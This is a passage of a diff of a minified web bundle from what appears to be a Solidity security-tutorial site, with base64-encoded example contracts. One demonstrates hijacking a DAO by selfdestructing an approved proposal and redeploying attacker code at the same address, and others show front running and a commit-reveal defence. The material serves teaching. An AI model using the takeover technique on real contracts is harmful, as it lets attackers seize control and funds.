VxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],fk=`

                                Contract address deployed with create is computed in the following way.

                                +`,Rk=({prev:s,next:a})=>r.jsx(u,{version:Bk,title:Gk,description:Vk,html:Yk,prev:s,next:a,codes:fk}),Xk="0.8.24",vk="Deploy Different Contracts at the Same Address",Nk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",Hk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvdmVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcmVxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],Fk=`

                                Contract address deployed with create is computed in the following way.

                                contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))

                                where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                @@ -8183,7 +8745,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,Yk=({prev:s,next:a})=>r.jsx(u,{version:Wk,title:Gk,description:Bk,html:fk,prev:s,next:a,codes:Vk}),Rk="0.8.24",Xk="Front Running",vk="An example of a Solidity contract vulnerable to front running",Nk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],Hk=`

                                Vulnerability

                                +`,Kk=({prev:s,next:a})=>r.jsx(u,{version:Xk,title:vk,description:Nk,html:Fk,prev:s,next:a,codes:Hk}),Sk="0.8.24",Mk="Front Running",xk="An example of a Solidity contract vulnerable to front running",Jk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3